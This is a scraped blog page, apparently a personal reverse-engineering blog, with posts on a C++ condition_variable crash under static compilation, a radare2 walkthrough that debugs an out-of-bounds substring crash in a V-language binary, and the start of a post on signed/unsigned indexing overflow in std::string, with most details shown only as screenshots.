<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjBoIuJ8Rsix0_Adm2-9Xt-Ha2buzno1q-AVdQDfMsGFVk9OjJwmiCF2LE0pFTs8gbRuC2Nz4SxP1rLgVwOA9Gy88TSKHgiqYr7jVYPx96KkiHzfvruFDVts4l3RKxoSe23eB6/s1600/gdb1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="136" data-original-width="599" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjBoIuJ8Rsix0_Adm2-9Xt-Ha2buzno1q-AVdQDfMsGFVk9OjJwmiCF2LE0pFTs8gbRuC2Nz4SxP1rLgVwOA9Gy88TSKHgiqYr7jVYPx96KkiHzfvruFDVts4l3RKxoSe23eB6/s640/gdb1.png" width="640" /></a></div>
<br />
If this program is compiled dynamically the crash doesn't occur:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGssAD_V-Ep1qr-SzfaJ7rScpHq2oS-RMErDjqFvlaae0UVFqs0Q6y6weX0AhDSAz67Ou5ET4T9SoBb_tNhyj5nbOMQC8BeHNAQAjrVHNitQkJj-A5kHP6mTbYs2FuSrWAWvZB/s1600/dyn_compiled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="57" data-original-width="577" height="62" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGssAD_V-Ep1qr-SzfaJ7rScpHq2oS-RMErDjqFvlaae0UVFqs0Q6y6weX0AhDSAz67Ou5ET4T9SoBb_tNhyj5nbOMQC8BeHNAQAjrVHNitQkJj-A5kHP6mTbYs2FuSrWAWvZB/s640/dyn_compiled.png" width="640" /></a></div>
<br />
Looking the dissasembly there is a surprise created by the compiler:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilVz_r0xScqpvI4OhyphenhyphenKb5aVyvip30uYDpNKTIOKBSxZE-A_R8OpstNy0RrrMeFyKa84HxqBhyphenhyphen9P_GS14ZxE6A-QCuPUmuaYV2ztmv_VQHyFfHIZDyJLTXP7nKM3HRJxCEFhchO/s1600/disas.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="207" data-original-width="835" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilVz_r0xScqpvI4OhyphenhyphenKb5aVyvip30uYDpNKTIOKBSxZE-A_R8OpstNy0RrrMeFyKa84HxqBhyphenhyphen9P_GS14ZxE6A-QCuPUmuaYV2ztmv_VQHyFfHIZDyJLTXP7nKM3HRJxCEFhchO/s640/disas.png" width="640" /></a></div>
<br />
<br />
Compilers:<br />
g++ 9.2.1+20200130-2<br />
clang++ v9<br />
<br />
Both compilers are generating the "call 0x00"<br />
<br />
If we check this call in a dynamic compiled:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGSTqUTY1k4CI7LvruElFxYEanfjUEzSN9BgvAwdkYMjP6JUXWm92HzHQ1QGfLAljByS64yB9GcBk1bR9gY8MFawNx-KE_GCldQRi1CfmCq-uwP6oOxrLBXZBTZhkcYunIDrCP/s1600/dyn_dissas.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1" data-original-width="1" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGSTqUTY1k4CI7LvruElFxYEanfjUEzSN9BgvAwdkYMjP6JUXWm92HzHQ1QGfLAljByS64yB9GcBk1bR9gY8MFawNx-KE_GCldQRi1CfmCq-uwP6oOxrLBXZBTZhkcYunIDrCP/s1600/dyn_dissas.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkrEk4OOgIqxISLjXL4R9gb2tPRXVMXQMaXlk7qWmqMnH2D6o9QCMJxamcc5_iH_avpnBor9uq_taUEDfSMZGU15VtYCNM1v6K5Q7P24tTCGDyDVZynaH4EP1WKnu3WC0CIhwE/s1600/dyn_dissas.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="209" data-original-width="875" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkrEk4OOgIqxISLjXL4R9gb2tPRXVMXQMaXlk7qWmqMnH2D6o9QCMJxamcc5_iH_avpnBor9uq_taUEDfSMZGU15VtYCNM1v6K5Q7P24tTCGDyDVZynaH4EP1WKnu3WC0CIhwE/s640/dyn_dissas.png" width="640" /></a></div>
<br />
<br />
The implementation of condition_variable in github:<br />
<a href="https://github.com/gcc-mirror/gcc/blob/b7c9bd36eaacac42631b882dc67a6f0db94de21c/libstdc%2B%2B-v3/include/std/condition_variable">https://github.com/gcc-mirror/gcc/blob/b7c9bd36eaacac42631b882dc67a6f0db94de21c/libstdc%2B%2B-v3/include/std/condition_variable</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkc79rX1gZJ6PDUQrkZw1EgIMg_fytF_D3YBwPn7gejlHPmh0zKpp_uO_LEOYysodSXnnW7w1lHvTpHKFZR_OpQ2Ph57KScJvrj7nSoRjJc2EuVKV4AShFMAiZdWLyS3OxnV6v/s1600/code.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="178" data-original-width="466" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkc79rX1gZJ6PDUQrkZw1EgIMg_fytF_D3YBwPn7gejlHPmh0zKpp_uO_LEOYysodSXnnW7w1lHvTpHKFZR_OpQ2Ph57KScJvrj7nSoRjJc2EuVKV4AShFMAiZdWLyS3OxnV6v/s400/code.png" width="400" /></a></div>
<br />
The compilers can't copile well this code in static, and same happens on other condition_variable methods.<br />
I would say the _lock is being assembled improperly in static, is not exacly a null pointer derreference but the effects are the same, executing code at address 0x00 which on linux is a crash on most of cases.<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-34631245078956302382019-12-14T23:55:00.003+01:002019-12-20T20:37:03.464+01:00vlang binary debugging<div class="separator" style="clear: both; text-align: center;">
</div>
Why vlang? V is a featured, productive, safe and confortable language highly compatible with c, that generates neat binaries with c-speed, the decompilation also seems quite clear as c code.<br />
<a href="https://vlang.io/">https://vlang.io/</a><br />
<br />
After open the binary with radare in debug mode "-d" we proceed to do the binary recursive analysis with "aaaa" the more a's the more deep analys.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTvDHT82irNhdIUfPzqwV-TBQqTDKA0So1EabLiKXchJjcQTWHpkPq9H7_K-dz7TvJwt444krpq0fU0sV6KDERNTkeZXKIhI5skkbhAkWYMS6imx0Ccp_6oHtLW2SPn6CMlCSK/s1600/r2_aaaa.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="438" data-original-width="692" height="404" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTvDHT82irNhdIUfPzqwV-TBQqTDKA0So1EabLiKXchJjcQTWHpkPq9H7_K-dz7TvJwt444krpq0fU0sV6KDERNTkeZXKIhI5skkbhAkWYMS6imx0Ccp_6oHtLW2SPn6CMlCSK/s640/r2_aaaa.png" width="640" /></a></div>
<br />
The function names are modified when the binary is crafted, if we have a function named hello in a module named main we will have the symbol main__hello, but we can locate them quicly thanks to radare's grep done with "~" token in this case applied to the "afl" command which lists all the symbols.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT71eVKx2J9vs2JQYEWN6pX4tU4SY01K1wRPNgwnWDM45SNTPELMDsfHw7alNjwwxy4_WUIFsXPsJbiyC7NtlybhLJb7AFW47bTgmLumDcJl3r09NPDxjSueY82UqOMYYfQncW/s1600/seek.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="82" data-original-width="543" height="96" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT71eVKx2J9vs2JQYEWN6pX4tU4SY01K1wRPNgwnWDM45SNTPELMDsfHw7alNjwwxy4_WUIFsXPsJbiyC7NtlybhLJb7AFW47bTgmLumDcJl3r09NPDxjSueY82UqOMYYfQncW/s640/seek.png" width="640" /></a></div>
<br />
Being in debug mode we can use "d*" commands, for example "db" for breakpointing the function and then "dc" to start or continue execution.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfBuQcXELxN2oCln5PW4WOP-VxWOknin2LDmnmLlljY7SEvZR5nIG3bUXiWG5EP0X4yNj5Cg8YjEZIPfV2XTHzwmi6YMQ_QS5kwGuRvbwgzE_ty5RjTqDepEdWZEvI3S4g62dN/s1600/breakpoint.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="423" height="114" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfBuQcXELxN2oCln5PW4WOP-VxWOknin2LDmnmLlljY7SEvZR5nIG3bUXiWG5EP0X4yNj5Cg8YjEZIPfV2XTHzwmi6YMQ_QS5kwGuRvbwgzE_ty5RjTqDepEdWZEvI3S4g62dN/s640/breakpoint.png" width="640" /></a></div>
<br />
Let's dissasemble the function with "pD" command, it also displays the function variables and arguments as well, note also the xref "call xref from main"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXcesfqLt-5ruJEvq1tYKavlGWdaC0u6MTA6yeQgJ_sVObU9EBxVifrol1tR3PGuw-NlX8ZBAnhhUcE6F-S55jEGjBb0fFDRLzak5UETxg8aA0rNjB1g7kN2EiPrvLXViNJiyc/s1600/pd_code.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="814" data-original-width="731" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXcesfqLt-5ruJEvq1tYKavlGWdaC0u6MTA6yeQgJ_sVObU9EBxVifrol1tR3PGuw-NlX8ZBAnhhUcE6F-S55jEGjBb0fFDRLzak5UETxg8aA0rNjB1g7kN2EiPrvLXViNJiyc/s640/pd_code.png" width="574" /></a></div>
<br />
Let's take a look to the function arguments, radare detect's this three 64bits registers used on the function.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI_2A9UnL8h5ufEAqkbdTn4L2AkHQirgK9CmiDaKct5PQwVyMSdtxVFHWjAW5cV2tbiM4kIDO1y5dyoMAMqePh2wAXZZiy9UuAMyOpTgXOTE9qxgRQ_4Q9GlDp4CSVrUxxpsM5/s1600/arguments.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="53" data-original-width="233" height="90" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI_2A9UnL8h5ufEAqkbdTn4L2AkHQirgK9CmiDaKct5PQwVyMSdtxVFHWjAW5cV2tbiM4kIDO1y5dyoMAMqePh2wAXZZiy9UuAMyOpTgXOTE9qxgRQ_4Q9GlDp4CSVrUxxpsM5/s400/arguments.png" width="400" /></a></div>
<br />
Actually the function parameter is rsi that contains a testing html to test the href extraction algorithm.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPzDsHKHVkeptjoSniL2Dx1ssJzZCdi_-3r262FkIOe4EF1eYYZyTF-O_hEvFUhNA5GchQu0RYvDl0P6pn5p8t_mRiQjfEq3Ymxgp8FMraL2OBeooBfryHj1lbfKDFgZhcSzq_/s1600/parameter_value_rsi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="161" data-original-width="688" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPzDsHKHVkeptjoSniL2Dx1ssJzZCdi_-3r262FkIOe4EF1eYYZyTF-O_hEvFUhNA5GchQu0RYvDl0P6pn5p8t_mRiQjfEq3Ymxgp8FMraL2OBeooBfryHj1lbfKDFgZhcSzq_/s640/parameter_value_rsi.png" width="640" /></a></div>
<br />
The string structure is quite simple and it's plenty of implemented methods.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjc9S4z9-PP_7zAlG23xKDP4HEh5J9ZgKyPmTshgzOfdW6jYJ9zxXs9jZMWpFfm6a6A8iEJqHed9AOw5Clkd_CRQOO0m4_com5lzMiL_Ug36yflyyEKEv-UL-RsO-sroc3w1EP/s1600/string.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="148" data-original-width="870" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjc9S4z9-PP_7zAlG23xKDP4HEh5J9ZgKyPmTshgzOfdW6jYJ9zxXs9jZMWpFfm6a6A8iEJqHed9AOw5Clkd_CRQOO0m4_com5lzMiL_Ug36yflyyEKEv-UL-RsO-sroc3w1EP/s640/string.png" width="640" /></a></div>
<br />
<br />
<br />
With F8 we can step over the code as we were in ollydbg on linux.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMZpyD9m2kGfLGxq5BKE411b4h6LsvJ7wwPqR312hEE4zbvn-fxGHXOVuHWYt5USIyBn08ffjdHxi0O9inJgLxZLMiO_NNEEggIT6PmEqI9DZhZasCVaJBG8yd3aVCHQaCDlaj/s1600/stepping1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="451" data-original-width="647" height="446" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMZpyD9m2kGfLGxq5BKE411b4h6LsvJ7wwPqR312hEE4zbvn-fxGHXOVuHWYt5USIyBn08ffjdHxi0O9inJgLxZLMiO_NNEEggIT6PmEqI9DZhZasCVaJBG8yd3aVCHQaCDlaj/s640/stepping1.png" width="640" /></a></div>
<br />
Note the rip marker sliding into the code.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg_4cw9eC7LIkr_rG-dPemcxPPu1qjc_ALgjfPklYLBrN-f7yRtX9R8sS0GlLAcjei-fdnbL6Zay7ozmrOrNm-UwHHlySEScPt7qm_NHIfMPk6YnNQzKiCnZDAvOLMIlTMx38M/s1600/stepping2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="538" data-original-width="638" height="538" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg_4cw9eC7LIkr_rG-dPemcxPPu1qjc_ALgjfPklYLBrN-f7yRtX9R8sS0GlLAcjei-fdnbL6Zay7ozmrOrNm-UwHHlySEScPt7qm_NHIfMPk6YnNQzKiCnZDAvOLMIlTMx38M/s640/stepping2.png" width="640" /></a></div>
<br />
We can recognize the aray creations, and the s.index_after() function used to find substrings since a specific position.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNvu5ylO9JU6G9Rb5JK1ogTT4cYBbQVQEx7P_bxm5E_rqNgGC4xj2qfMrI2syeJT4ob5JYLnF2_Yy1jcCrybQyELgGArsHyTHh0zLgsqpz9rKSLXi9GASwwogrJTsvO5xi4OKO/s1600/symbols.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="534" data-original-width="736" height="464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNvu5ylO9JU6G9Rb5JK1ogTT4cYBbQVQEx7P_bxm5E_rqNgGC4xj2qfMrI2syeJT4ob5JYLnF2_Yy1jcCrybQyELgGArsHyTHh0zLgsqpz9rKSLXi9GASwwogrJTsvO5xi4OKO/s640/symbols.png" width="640" /></a></div>
<br />
If we take a look de dissasembly we sill see quite a few calls to tos3() functions.<br />
Those functions are involved in string initialization, and implements safety checks.<br />
<br />
<ul>
<li>tos(string, len)</li>
<li>tos2(byteptr)</li>
<li>tos3(charptr)</li>
</ul>
<br />
In this case I have a crash in my V code and I want to know what is crashing, just continue the execution with "dc" and see what poits the rip register.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMyRmvp32KAsgMH0nVNskLX-vxMb9EjQK1hWam2ObxLwoE3tbnBdrNl1uR3OhjyYh4f28clkzeZgM5wYvLKfaf4g5j1D_LpY3_KKworuBSKoSZAnq3Fy0B1X3UM6ANgrcHUKvr/s1600/crash.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="131" data-original-width="658" height="126" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMyRmvp32KAsgMH0nVNskLX-vxMb9EjQK1hWam2ObxLwoE3tbnBdrNl1uR3OhjyYh4f28clkzeZgM5wYvLKfaf4g5j1D_LpY3_KKworuBSKoSZAnq3Fy0B1X3UM6ANgrcHUKvr/s640/crash.png" width="640" /></a></div>
<br />
<br />
In visual mode "V" we can see previous instructions to figure out the arguments and state.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS-cMeyTMEspJKE7hCK6b0fry6tHaCoivxOsx8oLxXD4PhssXwSD7deP5XGMi8_XToLLaPdbAqBj_qZtZF7UqAkz27uqvoHHtgfZLR2NhXyKO8rCz-Og5PzIcpf6skQvRWtobe/s1600/prev.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="276" data-original-width="694" height="252" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS-cMeyTMEspJKE7hCK6b0fry6tHaCoivxOsx8oLxXD4PhssXwSD7deP5XGMi8_XToLLaPdbAqBj_qZtZF7UqAkz27uqvoHHtgfZLR2NhXyKO8rCz-Og5PzIcpf6skQvRWtobe/s640/prev.png" width="640" /></a></div>
<br />
We've located the crash on the substring operation which is something like "s2 := s1[a..b]" probably one of the arguments of the substring is out of bounds but luckily the V language has safety checks and is a controlled termination:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8LRIvaDnf2HtkPDEn1p6llkSjlwNeS5-i_BIzlPzEUfzzvK18JUpxjBeYCfTW_dgRcXLptzyvWhyn1XmFR6t_tax0eUbs570jGWQon_bF7iV1PE4kY8dKXoR3CcZJM6ajhqj9/s1600/vcrash.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="239" data-original-width="751" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8LRIvaDnf2HtkPDEn1p6llkSjlwNeS5-i_BIzlPzEUfzzvK18JUpxjBeYCfTW_dgRcXLptzyvWhyn1XmFR6t_tax0eUbs570jGWQon_bF7iV1PE4kY8dKXoR3CcZJM6ajhqj9/s640/vcrash.png" width="640" /></a></div>
<br />
<br />
Switching the basic block view "space" we can see the execution flow, in this case we know the loops and branches because we have the code but this view also we can see the tos3 parameter "href=" which is useful to locate the position on the code.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWStj3EKQB_P3Xyq2NDwfSWk8i9pC54UvXnwC357DmjeRXhA-dN9cwZKdJp5IwTXznWeh415Y3xjIJyHr3rvw6f7qrqEiMFv5l36yqRIHxB_meiDTzLnrd84RbLZzu3BS1A0ZX/s1600/basic_blocks.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="913" data-original-width="730" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWStj3EKQB_P3Xyq2NDwfSWk8i9pC54UvXnwC357DmjeRXhA-dN9cwZKdJp5IwTXznWeh415Y3xjIJyHr3rvw6f7qrqEiMFv5l36yqRIHxB_meiDTzLnrd84RbLZzu3BS1A0ZX/s640/basic_blocks.png" width="510" /></a></div>
<br />
When it reach the substr, we can see the parameters with "tab" command.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmjQvqGwOma8l4ICwHY_IPx1NwWvuUyWTEyLEOqKK3PJLWk3ps_Xeh7hjUvCOXrjTLVwZI0ynHZPUqJhgYTpP4gVyBMoDwCYK-u7Gf9Vnr_0M1Vgupud7fu90cfFvDVhb_43ri/s1600/params.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="68" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmjQvqGwOma8l4ICwHY_IPx1NwWvuUyWTEyLEOqKK3PJLWk3ps_Xeh7hjUvCOXrjTLVwZI0ynHZPUqJhgYTpP4gVyBMoDwCYK-u7Gf9Vnr_0M1Vgupud7fu90cfFvDVhb_43ri/s1600/params.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLQBm07KB9_xMiIya3mggr62db9rMlfxUppPLyzHdtNUC0EK_pGeYYPbtSx7mFlnuwuElnCxeWtgHO2BGz8AOV2zqi5qPDlJDMl6qoAUDRNtxiDkUUa8dO9Ulno0T69cc4mv4c/s1600/substr2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="34" data-original-width="624" height="34" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLQBm07KB9_xMiIya3mggr62db9rMlfxUppPLyzHdtNUC0EK_pGeYYPbtSx7mFlnuwuElnCxeWtgHO2BGz8AOV2zqi5qPDlJDMl6qoAUDRNtxiDkUUa8dO9Ulno0T69cc4mv4c/s640/substr2.png" width="640" /></a></div>
<br />
Looking the implementation the radare parameter calculation is quite exact.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWGAnFzZ9OtzPZVUCz3A9lLwcRLOgz0OrnL6kHYRDLXvO-kDLhyphenhyphenUE2CXVl1540XU-GoPySL28TNAMBjdKcdC_8Gr-UOHu4aRpeTICvOLJhep_nSKakNWtwpjFJZ6m5vX0-Qg_Y/s1600/c_substr2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="94" data-original-width="707" height="84" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWGAnFzZ9OtzPZVUCz3A9lLwcRLOgz0OrnL6kHYRDLXvO-kDLhyphenhyphenUE2CXVl1540XU-GoPySL28TNAMBjdKcdC_8Gr-UOHu4aRpeTICvOLJhep_nSKakNWtwpjFJZ6m5vX0-Qg_Y/s640/c_substr2.png" width="640" /></a></div>
<br />
Let's check the param values:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUqG1IxDWwmmg6Qg-ttoBKKhU5IJjOgVjZ5r7kzlIs1U0UJA60gWNqVil6qH1QlYvdFI0AT9SS-WeN_rUVONhFrZrDndNUY_AlLI9RB4YLG6ihceYnNSQ0qXgPN4ZwcvHsaaJs/s1600/params.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="223" data-original-width="671" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUqG1IxDWwmmg6Qg-ttoBKKhU5IJjOgVjZ5r7kzlIs1U0UJA60gWNqVil6qH1QlYvdFI0AT9SS-WeN_rUVONhFrZrDndNUY_AlLI9RB4YLG6ihceYnNSQ0qXgPN4ZwcvHsaaJs/s640/params.png" width="640" /></a></div>
<br />
so the indexes are from 0x0e to 0x24 which are inside the buffer, lets continue to next iteration,<br />
if we set a breakpoint and check every iteration, on latest iteration before the crash we have the values 0x2c to 0x70 with overflows the buffer and produces a controlled termination of the v compiled process.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKx12tqSSamC3cH_JFOfg3-qOnfJoXo8Q1QJ6PnfpOuuqYxxkYSAzcV6RFyxdA-ZMoPKHcO3S7wjOjob2ezyDjhBqLYkHapkHMdLArJFVcRdYadJc-p3mEBVA0d293Sh16mUcq/s1600/before_crash.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="400" data-original-width="539" height="474" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKx12tqSSamC3cH_JFOfg3-qOnfJoXo8Q1QJ6PnfpOuuqYxxkYSAzcV6RFyxdA-ZMoPKHcO3S7wjOjob2ezyDjhBqLYkHapkHMdLArJFVcRdYadJc-p3mEBVA0d293Sh16mUcq/s640/before_crash.png" width="640" /></a></div>
<br />
<br />
<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-24928897358750683042019-11-27T21:36:00.004+01:002019-12-20T20:37:41.465+01:00c++ std::string buffer overflow and integer overflowInterators are usually implemented using signed integers like the typical "for (int i=0; ..." and in fact is the type used indexing "cstr[i]", most of methods use the signed int, int by default is signed.<br />
Nevertheless, the "std::string::operator[]" index is size_t which is unsigned, and so does size(), and same happens with vectors.<br />
Besides the operator[] lack of negative index control, I will explain this later.<br />
<br />
Do the compilers doesn't warn about this?<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtL_9UnkzFuDyEAMwY-EFdtml3W7N4LuJxt_jQHXlLygG-b2UAvGYCqnABzUwioCJIjtqUbk13Pllj5MCic8IgKTW_gNJ1iOUll1VpadyVE6-f0nev4ZlzbzB2KJFYMie2EVaj/s1600/code1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="136" data-original-width="358" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtL_9UnkzFuDyEAMwY-EFdtml3W7N4LuJxt_jQHXlLygG-b2UAvGYCqnABzUwioCJIjtqUbk13Pllj5MCic8IgKTW_gNJ1iOUll1VpadyVE6-f0nev4ZlzbzB2KJFYMie2EVaj/s400/code1.png" width="400" /></a></div>
<br />
If his code got a large input it would index a negative numer, let see g++ and clang++ warnings:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI9JHcIJ0CFQLTEalw5jFMrJXXNO4G2uTEiEvlolbfWZ8u9L72bbrnxShyphenhyphen8cP3awBi-7jrFnyIOd4u7hqWiGdkkzu_Hq-k15Z8U7V16jp9GXc7KYkriM5jbXseWY1H7nEjjCTl/s1600/wtf1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="287" data-original-width="580" height="315" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI9JHcIJ0CFQLTEalw5jFMrJXXNO4G2uTEiEvlolbfWZ8u9L72bbrnxShyphenhyphen8cP3awBi-7jrFnyIOd4u7hqWiGdkkzu_Hq-k15Z8U7V16jp9GXc7KYkriM5jbXseWY1H7nEjjCTl/s640/wtf1.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
No warnings so many bugs out there...<br />
<br />
In order to reproduce the crash we can load a big string or vector from file, for example:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-6FAJZ_m87jmEMqk9BzSADB9w2shdmEszzC0gukrGCBw5uKfh5Qvvad69GqYPvUD8w3az_i7bBFb4XFlIZVVZ4_N8wSAokcOsmkMEyLp_EzzJHRTX6leyOht4pATS3kWe17Mi/s1600/load_string_code.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="226" data-original-width="594" height="243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-6FAJZ_m87jmEMqk9BzSADB9w2shdmEszzC0gukrGCBw5uKfh5Qvvad69GqYPvUD8w3az_i7bBFb4XFlIZVVZ4_N8wSAokcOsmkMEyLp_EzzJHRTX6leyOht4pATS3kWe17Mi/s640/load_string_code.png" width="640" /></a></div>
<br />
I've implemented a loading function, getting the file size with tellg() and malloc to allocate the buffer, then in this case used as a string.<br />
Let see how the compiler write asm code based on this c++ code.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
